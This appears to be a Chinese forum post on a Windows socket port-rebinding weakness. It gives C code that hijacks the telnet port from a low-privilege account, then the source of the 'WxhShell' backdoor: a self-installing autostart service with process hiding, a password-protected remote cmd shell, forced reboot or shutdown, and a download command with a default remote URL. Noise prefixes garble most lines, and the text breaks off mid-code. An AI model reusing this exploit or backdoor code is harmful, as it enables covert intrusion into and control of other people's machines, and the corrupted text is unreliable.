在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ygOd69 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
n 9\
C2r A2^\q>_# saddr.sin_family = AF_INET;
"~E[)^ANxD 5>VY LI saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`{,Dy!rL vQ<90ZxqB bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
F1 iGMf-8 L{:9Cx!F 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
whonDG4WP P-`M 这意味着什么?意味着可以进行如下的攻击:
_C.BFE_p Zkx[[gzL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qs|mj}? ]"+95*B 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
*eIJwXE 'jmTXWq* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ay1YOfa* np%\&CVhN 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$f,n8]
*J$=.fF1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ng:kA%!
Q {x:ZF_wbb 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
IC6gU$e bB
}$' 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
pX/n)q[ uqM yoIc #include
q ud\K+ #include
<F'X<Bau #include
D,;\o7V #include
J~B<7O<?!1 DWORD WINAPI ClientThread(LPVOID lpParam);
iZPCNS" int main()
'D6T8B4 {
~ns7O WORD wVersionRequested;
3k|oK'l DWORD ret;
hj WSADATA wsaData;
kxp); BOOL val;
>RPd$('T SOCKADDR_IN saddr;
*\(r+>*x* SOCKADDR_IN scaddr;
/c"efnb! int err;
i O/K nH SOCKET s;
uA,>a>xYI SOCKET sc;
z ^_*& int caddsize;
w$H^q
!( HANDLE mt;
b3S.-W{p. DWORD tid;
7@Zx@ wVersionRequested = MAKEWORD( 2, 2 );
TlI<1/fP} err = WSAStartup( wVersionRequested, &wsaData );
Rp*R:3
C if ( err != 0 ) {
8~9030>Q printf("error!WSAStartup failed!\n");
IP``O!WP return -1;
F6o_b4l }
GiP`dtK
saddr.sin_family = AF_INET;
CNQC^d\ h h@:TpE+N //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
BBH0OiV= qb5#_1qz+^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v^)bhIPe; saddr.sin_port = htons(23);
U7!.,kR- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
vo\fUT@k {
r|PFw6 printf("error!socket failed!\n");
w?zKjqza=v return -1;
o@#Y8M }
7M<'ddAN val = TRUE;
CbPuoOl //SO_REUSEADDR选项就是可以实现端口重绑定的
: p{+G if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
!(n4|Wd {
aFe`_cnG printf("error!setsockopt failed!\n");
Ypeiy`. return -1;
[q_`X~3 }
{fha`i //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ZA Jp% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
JC}f-%H?K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
is1' s[ t6,wjN-J if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(RUT{)p[ {
b
B x? ret=GetLastError();
UPc<gB printf("error!bind failed!\n");
p.
R2gl1m return -1;
e$u4vC~ }
&?uz`pv2 listen(s,2);
*[r! while(1)
v1|Bf8 {
yfjK2 caddsize = sizeof(scaddr);
aWwPvd3 //接受连接请求
]c<qM_HWg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
qS/V"|G( if(sc!=INVALID_SOCKET)
\S*$UE]uG {
|y h\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
P7 ]z if(mt==NULL)
i.xXb[M+ {
I.Y['%8,5~ printf("Thread Creat Failed!\n");
U9&k;` break;
j,t#B"hOnp }
?E9D Xg }
mCs#.%dU CloseHandle(mt);
RP2_l$ }
h'i{&mS_b closesocket(s);
YXU|h WSACleanup();
q;fKcblKj return 0;
Fhv2V,nZ< }
>Jw6l0z DWORD WINAPI ClientThread(LPVOID lpParam)
65oWD- {
6oinidB[l SOCKET ss = (SOCKET)lpParam;
iJv48#'ii SOCKET sc;
=?])['VaA unsigned char buf[4096];
kF{*(r=.o SOCKADDR_IN saddr;
[k[u*5hP|F long num;
Aj9Ji"18za DWORD val;
x lsqj`= DWORD ret;
ewuXpv%vwW //如果是隐藏端口应用的话,可以在此处加一些判断
>#}2J[2HQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Uu"0rUzt saddr.sin_family = AF_INET;
R8-^RvG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6 CC &Z> saddr.sin_port = htons(23);
X 6lH|R if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
l;"Ab?P\
{
~gI{\iNF/ printf("error!socket failed!\n");
KtB!"yy# return -1;
x1gx$P }
6yu]GK}es val = 100;
%d m-?` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1/ZR*fa {
:%JC^dV( ret = GetLastError();
F_ 7H!F return -1;
?/M_~e.P }
pO~c<d}b if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
L{ho*^b {
y^Vw`-e ret = GetLastError();
V (rr"K+ return -1;
W3&tJ8*3 }
6QZ5|T ] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
D H^T x {
4ZC!SgJo printf("error!socket connect failed!\n");
_2hXa!yO closesocket(sc);
| A:@&| closesocket(ss);
y69J%/c
ra return -1;
?@R")$ }
oc{EuW{Ag while(1)
g):]' {
d"~(T:=r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{13!vS%5 //如果是嗅探内容的话,可以再此处进行内容分析和记录
kw,$NK' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>qn/<?? num = recv(ss,buf,4096,0);
Qu%D if(num>0)
wH"kk4^ send(sc,buf,num,0);
Bmo$5$ else if(num==0)
pKJK9@Ad break;
ad n|N num = recv(sc,buf,4096,0);
TSL9ax4j if(num>0)
Nm]%
} send(ss,buf,num,0);
ujgLJ77 else if(num==0)
.tF|YP== break;
t7F.[uWD }
UP2.]B!d closesocket(ss);
h ?#@~ closesocket(sc);
h3Fo-]0 return 0 ;
(:\LWJX0= }
en9en=n| ;RN8\re Y?Vz(udD
==========================================================
;?IT)sNY ;vO@m!h}U 下边附上一个代码,,WXhSHELL
~%y\@x7I }uX|5&=~f ==========================================================
$W!]fcZlB -!*p*3|03| #include "stdafx.h"
e ^e$mtI Q!CO0w #include <stdio.h>
r(uP!n1+ #include <string.h>
]1fZupM^6 #include <windows.h>
73DlRt
* #include <winsock2.h>
^Gz{6@TY5 #include <winsvc.h>
a&/HSf_G #include <urlmon.h>
]b[,LwB\`~ RR>G]#k #pragma comment (lib, "Ws2_32.lib")
& 5
<** #pragma comment (lib, "urlmon.lib")
Uh6mGLz*& W\ULUK #define MAX_USER 100 // 最大客户端连接数
eihZp #define BUF_SOCK 200 // sock buffer
e)pTC97^L #define KEY_BUFF 255 // 输入 buffer
b!~TAT&8 ~Q!~ eTw #define REBOOT 0 // 重启
5~\Kj#PBx #define SHUTDOWN 1 // 关机
d 7i#w
# t*z'c #define DEF_PORT 5000 // 监听端口
%F$N#YG Hptq,~_t #define REG_LEN 16 // 注册表键长度
_'*DT=H'U #define SVC_LEN 80 // NT服务名长度
+>E5X4JC }|He?[TR // 从dll定义API
SL*DK. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8xo;E=` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>6K4b/.5w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]N\6h(**wy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
y''0PSfb# _[$#
b]V // wxhshell配置信息
wF;B@ struct WSCFG {
C5B=NAc int ws_port; // 监听端口
~|=rwDBZ8l char ws_passstr[REG_LEN]; // 口令
CveWl$T12 int ws_autoins; // 安装标记, 1=yes 0=no
GEi
MmH? char ws_regname[REG_LEN]; // 注册表键名
{_ 6t4h} char ws_svcname[REG_LEN]; // 服务名
-,@bA @& char ws_svcdisp[SVC_LEN]; // 服务显示名
El1:?4; char ws_svcdesc[SVC_LEN]; // 服务描述信息
rIp'vy S\p char ws_passmsg[SVC_LEN]; // 密码输入提示信息
;zm
ks] int ws_downexe; // 下载执行标记, 1=yes 0=no
^^Bm$9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
NV(fN-L char ws_filenam[SVC_LEN]; // 下载后保存的文件名
3#<'[TF00t yr{5Rp05= };
G*Ib^;$u 0Ts!(b]B // default Wxhshell configuration
;:^ Lv struct WSCFG wscfg={DEF_PORT,
ox
JGJ "xuhuanlingzhe",
t_Z _!Qy 1,
z-)*Q "Wxhshell",
|3"NwM> "Wxhshell",
Dwk$CJb3- "WxhShell Service",
B^Bbso'{1 "Wrsky Windows CmdShell Service",
7zi"caY "Please Input Your Password: ",
[M<{P5q 1,
ylT6h_z1[Y "
http://www.wrsky.com/wxhshell.exe",
Cl-S=q@>V "Wxhshell.exe"
"h`54}0 };
be_C>v 8t--#sDy{0 // 消息定义模块
B[Ix?V4yy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
JYl\<Z' { char *msg_ws_prompt="\n\r? for help\n\r#>";
\/X{n*Hw? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0\ZaMu # char *msg_ws_ext="\n\rExit.";
a5>)?m char *msg_ws_end="\n\rQuit.";
nxf{PbHk char *msg_ws_boot="\n\rReboot...";
SAQs{M char *msg_ws_poff="\n\rShutdown...";
Y]M^n&f char *msg_ws_down="\n\rSave to ";
K]%N-F>r *u<rU,C8 char *msg_ws_err="\n\rErr!";
oMz/sL'u char *msg_ws_ok="\n\rOK!";
1Q0%7zRirI $:PF9pY( char ExeFile[MAX_PATH];
4LJ]l:m int nUser = 0;
p"g1V7B HANDLE handles[MAX_USER];
o- cj&Cv% int OsIsNt;
<8g *O2 XTIu(f|d_; SERVICE_STATUS serviceStatus;
%GNUnr$ SERVICE_STATUS_HANDLE hServiceStatusHandle;
$hyqYp"/; xcAF
// 函数声明
Kp$_0 int Install(void);
%_]=i@Y~ int Uninstall(void);
d'x<-l9 int DownloadFile(char *sURL, SOCKET wsh);
&NlS = int Boot(int flag);
AB/,S void HideProc(void);
}g%KvYB_ int GetOsVer(void);
s$js5
ou int Wxhshell(SOCKET wsl);
"sz.v<F0:s void TalkWithClient(void *cs);
Y]D7i?3N int CmdShell(SOCKET sock);
E_ o{c5N int StartFromService(void);
mOwWg int StartWxhshell(LPSTR lpCmdLine);
HVtr,jg BUcaj.S VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Ufm(2` FQ VOID WINAPI NTServiceHandler( DWORD fdwControl );
=) mXCA^ ^zBjG/'7 // 数据结构和表定义
Ib_n'$5#z SERVICE_TABLE_ENTRY DispatchTable[] =
.Z(S4wV {
ckH$E%j {wscfg.ws_svcname, NTServiceMain},
8o*\W$K@ {NULL, NULL}
*#9VC)Q };
Bf D,z Sb@{f<3E // 自我安装
m_{%tU;N int Install(void)
2N8rM}?90 {
hj[+d%YZY" char svExeFile[MAX_PATH];
V6DBKq HKEY key;
m;;0 Cl strcpy(svExeFile,ExeFile);
\;3B?8wbIl [dSDg2] // 如果是win9x系统,修改注册表设为自启动
H<rnJ if(!OsIsNt) {
I_"Hgx< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m &0(% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
PK:o}IWn~x RegCloseKey(key);
C8bGae( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(T>?8K_d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p=mCK@ RegCloseKey(key);
reqfgNg return 0;
N$=(1`zM= }
s2(w#n) }
}[=xe(4]D }
FqT,4SIR else {
[*Aqy76Qa jkQt'! // 如果是NT以上系统,安装为系统服务
QK``tWLIg7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
';;p8bv+ if (schSCManager!=0)
hJC
p0F9O {
Dr8WV\4@ SC_HANDLE schService = CreateService
t+W=2w& (
ex@,F,u>o schSCManager,
A}t&- wscfg.ws_svcname,
!i~x"1 wscfg.ws_svcdisp,
Q+u#?[' SERVICE_ALL_ACCESS,
)JY_eG&2Dx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
`Q1WVd29 SERVICE_AUTO_START,
BdE`p{ SERVICE_ERROR_NORMAL,
]]h:#A2 svExeFile,
(.@p4q Q- NULL,
9QX~aX NULL,
')~Y NULL,
pjKl)q NULL,
`lu"y F NULL
!%Hl#Pv} );
s>*Q if (schService!=0)
; mo\ yW1 {
5Sm 5jRr CloseServiceHandle(schService);
[d^: CloseServiceHandle(schSCManager);
%0~wtZH_! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Zy!)8<Cgm' strcat(svExeFile,wscfg.ws_svcname);
D_
Bx>G9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
bD-/ZZz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8}pcanPg RegCloseKey(key);
+GYI2 return 0;
\:q e3Q }
~f]r>jQM }
%!HnGwv- CloseServiceHandle(schSCManager);
aG8D%i0 }
#<tWYE }
Z$#ZYD fw:^Lyn9$ return 1;
+2au
;^N }
JV?RgFy CtC`:!Q // 自我卸载
[K)1!KK,L int Uninstall(void)
c~L6fvS {
!6tC[W` HKEY key;
4_m
/_Z0x Hdq/E>u if(!OsIsNt) {
vN%j-'D\A4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d*\C^:Z RegDeleteValue(key,wscfg.ws_regname);
Mly z>< RegCloseKey(key);
U38wGSG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L(1,W<kYg RegDeleteValue(key,wscfg.ws_regname);
Rvz.ym:F RegCloseKey(key);
^/d^$ return 0;
}DUDA%U }
NKUI! [ }
R&=GB\`:a }
o4[2`mT else {
#HnyE+tD J2rLsNC]0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xu?QK6D: if (schSCManager!=0)
F;X q:e8 {
55\X\>
0C7 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^<
/vbF if (schService!=0)
gJGBD9wC {
vs0H^L if(DeleteService(schService)!=0) {
9hs{uxwuEE CloseServiceHandle(schService);
!VJa$>, CloseServiceHandle(schSCManager);
{O&liU4 return 0;
(z1%lZ}( }
3D09P5$W CloseServiceHandle(schService);
UH^wyKbM }
NdSxWrD`m CloseServiceHandle(schSCManager);
^)IL<S&h }
e"adkV }
$9_.Q/9> ]xLb )Z return 1;
3F'dT[; }
'TN{8~Gt* L{0OMyUA // 从指定url下载文件
|p4OlUq int DownloadFile(char *sURL, SOCKET wsh)
8m[L]6F(-z {
\HQb#f, HRESULT hr;
}NBJ T4R char seps[]= "/";
KW6" +,Th char *token;
Sd{"A0[A| char *file;
hic$13KuP char myURL[MAX_PATH];
UuqnL{ char myFILE[MAX_PATH];
e/Oj T p;t!"I:`? strcpy(myURL,sURL);
z%dlajYm: token=strtok(myURL,seps);
LLHOWD C(2 while(token!=NULL)
T\s#-f[x {
iY'hkr w file=token;
%y7wF'_Y token=strtok(NULL,seps);
R"t$N@ZFb }
-*q2Y^A^l Qn3+bF4 GetCurrentDirectory(MAX_PATH,myFILE);
}0nB'0|y strcat(myFILE, "\\");
=+=|{l?F strcat(myFILE, file);
D&m"~wI send(wsh,myFILE,strlen(myFILE),0);
4$2T zJE send(wsh,"...",3,0);
nN\XVGP,t hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[}>6n72gNh if(hr==S_OK)
U`p<lxRgQ return 0;
842+KLS else
uv!qE1z@': return 1;
aw"%B-N\ Xl+a@Ggtq }
Kcdd=2 [T -*l[:5m // 系统电源模块
$K5s)! int Boot(int flag)
<~X6D? {
oNsx Fi: HANDLE hToken;
d>98 E9
TOKEN_PRIVILEGES tkp;
MNmQ%R4jRN gq1Y]t|4F if(OsIsNt) {
"wC5hj] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
CPeK0(7Zh LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}t-|^mY> tkp.PrivilegeCount = 1;
:{uUc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^JDV4>S\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Qu\l$/ if(flag==REBOOT) {
|3@Pt>Ikl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:|Nbk58 return 0;
x2wWp-Z
}
<!(n5y_ else {
m8^2k2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-XG$ 0 return 0;
]~Qk g+>'& }
8J1.(Mwb? }
EoCwS else {
kDa#yN\ if(flag==REBOOT) {
j5^b~F% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
cGp 6yf return 0;
Q^w]Nj(e_ }
Cjk AQ(9 else {
'+zsj0!A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
P`9A?aG.Z return 0;
k ,(:[3J }
/k"P4\P`+Q }
94@!.11 hzo,.hS's return 1;
n7uD(cL }
obolDha 2Hwf:S' // win9x进程隐藏模块
JCfToFB void HideProc(void)
liP{Mu/LO {
)d`$2D&iY *60)Vo.= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ttVSgKAsm if ( hKernel != NULL )
%BLKB%5 {
^
s4| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
]#.# ]}= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;f~'7RKy!G FreeLibrary(hKernel);
our5k }
_Z2)e*( 0O4mA&&!oK return;
':$a6f &T }
kyB]fmS >WX'oP(< // 获取操作系统版本
l}/UriZ0 int GetOsVer(void)
a$8?0`( {
{rLOAewr OSVERSIONINFO winfo;
1Tr=*b %f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
L 3@wdC~0 GetVersionEx(&winfo);
Njje g9 f if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+8I0.,' return 1;
E}2[Pb)e else
I5?LD=tt return 0;
< *OF }
ApB0)N (p!AX<=z // 客户端句柄模块
#u@!O%MJ int Wxhshell(SOCKET wsl)
Q pq0j^\ {
xE_[=7= SOCKET wsh;
UUq9UV-h struct sockaddr_in client;
C:{'0m*jKs DWORD myID;
E@KK\m
\e BW 7[JD while(nUser<MAX_USER)
6I0MJpLW {
jN0v<_PJED int nSize=sizeof(client);
n0q(EQy1U wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-bF+uCfba if(wsh==INVALID_SOCKET) return 1;
dM$S|,H !ZW0yCwLQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
eSU8/9B if(handles[nUser]==0)
`( Gk_VAa closesocket(wsh);
{r)M@@[ else
sx\7Z#| nUser++;
Q23y.^W%c }
C7PiuL? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{5h_$a!TaU _guY%2%yR return 0;
!k63`(Ti }
Kw|`y %~ sJWwkR // 关闭 socket
v5o%y:~ void CloseIt(SOCKET wsh)
WyETg!b[ {
9'M_t Mm5 closesocket(wsh);
&Is%I<'o nUser--;
Fz% n!d ExitThread(0);
Jo@9f(hq }
S EmD's AdNsY/ Y( // 客户端请求句柄
3^Y-P8.zdB void TalkWithClient(void *cs)
x@=7M'vr% {
vY6|V$ Lnzhs;7L SOCKET wsh=(SOCKET)cs;
`*a,8M% char pwd[SVC_LEN];
*QX$Mo^E char cmd[KEY_BUFF];
o&zV8DE_v char chr[1];
YAog;QL int i,j;
{`LV{! VbjFQ@[l! while (nUser < MAX_USER) {
809-p_)B fu/c)D6u*m if(wscfg.ws_passstr) {
q3:tZoeXV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cW
RY[{v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^RyrUb //ZeroMemory(pwd,KEY_BUFF);
~EBZlTN i=0;
]x|sTKv2 while(i<SVC_LEN) {
z!%}0 yWuq/J: // 设置超时
bpzA '
g> fd_set FdRead;
\0$?r4A struct timeval TimeOut;
-3fvO~ FD_ZERO(&FdRead);
X:A\{^~ FD_SET(wsh,&FdRead);
a'Z"Yz^Eo TimeOut.tv_sec=8;
8HzEH-J
TimeOut.tv_usec=0;
4ZIXG,@mZJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
C9h8d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
"elh~K &e(de$}xt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
VioVtP0
pwd
=chr[0]; 7Q`4*H6
if(chr[0]==0xd || chr[0]==0xa) { #ua#$&p
pwd=0; bke 1 F
'
break; >QyMeH
} Jd |hwvwFe
i++; -+L1Hid.7
} <ANKoPNie
$j:0*Z=>
// 如果是非法用户,关闭 socket
>4Lb+]
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dG| iA]
} lBCM;#P
u!Z&c7kPI
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NYCkYI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a}wB7B;,g
xZkLN5I{
while(1) { sB6UlX;b:
%spR7J\"/
ZeroMemory(cmd,KEY_BUFF); I=1tf;Bsi
D@2Tx
// 自动支持客户端 telnet标准 {DpZg",H-
j=0; f.,-KIiF
while(j<KEY_BUFF) { wtY#8'^$&
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9TF[uC)-2
cmd[j]=chr[0]; (Yx rZ_F'b
if(chr[0]==0xa || chr[0]==0xd) { ua0k)4|
cmd[j]=0; ?znSA
>
break; '\9A78NV{;
} 9 Hm!B )Y
j++; UZ<!(g.
} nI6`/
,3^N_>d$W
// 下载文件 pdE=9l'
if(strstr(cmd,"http://")) { 7c+u+Yet
send(wsh,msg_ws_down,strlen(msg_ws_down),0); W
nVX)o
if(DownloadFile(cmd,wsh)) r`"
? K]rI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c=ZX7U
else 7Npz
{C{I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gs-'
} QtRKmry{
else { t.]oLG22r
;VvqKyUh7`
switch(cmd[0]) { Y2Tg>_:t
}lWEbQ)(!
// 帮助 [u~#F,_ow
case '?': { #MI}KmH
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x5{ zGv.j
break; Pj+XKDV]T
} vK|dP3
// 安装 pTcm2-J
case 'i': { /\2 s%b*
if(Install()) #A?U_32z/2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y,?rykRj
else 4j/8Otn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _pW\F(+8
break; G:f]z;Xdp
} W<kJ%42^j
// 卸载 W|~Ehg
case 'r': { X1$0'usS
if(Uninstall()) H+-9R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]_j{b)t
else Cvq2UNz(R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c^I_~OwaE
break; >`u} G1T\
} "]`!#5j^WP
// 显示 wxhshell 所在路径 7+@:wX\
case 'p': { Haiuf)a
char svExeFile[MAX_PATH]; WG<D+P
strcpy(svExeFile,"\n\r"); iYBs )
strcat(svExeFile,ExeFile); :rwF5
send(wsh,svExeFile,strlen(svExeFile),0); {R]4N]l>
break; u|APx8?"o
} p)d'yj
// 重启 H7*/
case 'b': { eZT923tD
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *cJ GrLC
if(Boot(REBOOT)) Bxak[>/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 *Q/3|
else { {dhG SM7
closesocket(wsh); z1_\P) M
ExitThread(0); h9RG?r1
} nO2-fW:9]
break; 4 mPCAA7
} 4Rp2
// 关机 5
J61PuH
case 'd': { ~M2w&g;1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u-yQP@^H
if(Boot(SHUTDOWN)) zuwCN.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O8r9&Nv
else { *h$Z:p-g
closesocket(wsh); 5L%A5C&|
ExitThread(0); A9!%H6
} ^LX1&yT@
break; k7W7S`H
} C1Slx!}
// 获取shell 8$BZbj%?hx
case 's': { }L3k pw
CmdShell(wsh); m
=
"N4!
closesocket(wsh);
/MO|q
ExitThread(0); ;gu_/[P
break; g,@0 ;uVq
} Jo1n>Mo-j
// 退出 hqmKUlo
case 'x': { wWQv]c%
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mvyqCOp 0
CloseIt(wsh); .'saUcVg:
break; CD;C z*c
} Gcna:w>6d
// 离开 _p"nR
case 'q': {
.;8T*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !'Q/9%g
closesocket(wsh); J]^)vxm3
WSACleanup(); za`
exit(1); |$`)d87,
break; <O>1Y09C/
} 7y1J69IK
} 8%nb1CA
} bwR24>8lP
VImcW;Xa
// 提示信息 &'uFy0d,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NpG5$?
} ~ pWbD~aeg
} jO)UK.H#
AL74q[>
return; hqd}L~o:
} %"Q{|}
2 |
$
// shell模块句柄 [#S}L(
int CmdShell(SOCKET sock) [4KW64%l
{ ~3<Li}W
STARTUPINFO si; 9tvLj5~
ZeroMemory(&si,sizeof(si)); X YO09#>&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r<,W{Va
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^|M\vO
PROCESS_INFORMATION ProcessInfo; ;+t~$5
char cmdline[]="cmd"; `OO=^.-u
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?&W1lYY
return 0; eY^;L_7}p
} zA4m !l*eM
;$gZ?&
// 自身启动模式 I?nj_ as
int StartFromService(void) ]y= ff6Q
{ =LEKFXqM
typedef struct 28J
;9
{ l ps
6lnh
DWORD ExitStatus; &"]Uh
DWORD PebBaseAddress; (ds-p[`[m
